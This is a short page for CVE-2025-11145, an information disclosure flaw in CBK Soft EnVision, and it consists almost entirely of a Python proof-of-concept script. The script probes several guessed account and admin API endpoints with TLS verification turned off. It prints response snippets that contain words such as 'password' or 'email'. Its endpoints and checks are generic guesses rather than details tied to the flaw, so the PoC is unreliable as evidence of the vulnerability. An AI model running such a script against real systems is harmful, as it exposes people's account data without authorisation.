CVE-2025-11145 | CBK Soft EnVision 账户足迹信息泄露漏洞

# CVE-2025-11145 PoC - CBK Soft EnVision Account Footprinting # This PoC demonstrates the information disclosure vulnerability import requests import json TARGET_URL = "http://target-envision-system.com" CVE_ID = "CVE-2025-11145" def check_vulnerability(target): """ Check if the target EnVision system is vulnerable to CVE-2025-11145 """ # Common EnVision endpoints that may expose account information endpoints = [ "/api/account/info", "/api/user/profile", "/api/accounts/list", "/admin/userdetails" ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "application/json" } print(f"[*] Testing {CVE_ID} on {target}") for endpoint in endpoints: try: url = f"{target}{endpoint}" response = requests.get(url, headers=headers, timeout=10, verify=False) # Check if sensitive information is exposed if response.status_code == 200: # Look for account-related sensitive data if any(keyword in response.text.lower() for keyword in ['account', 'user', 'email', 'password', 'phone', 'address']): print(f"[!] Potential vulnerability found at {endpoint}") print(f"[+] Response snippet: {response.text[:500]}") return True except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") print("[*] No obvious vulnerability indicators found") return False if __name__ == "__main__": check_vulnerability(TARGET_URL) print("\n[*] Note: This is a demonstration PoC. Verify with official sources.")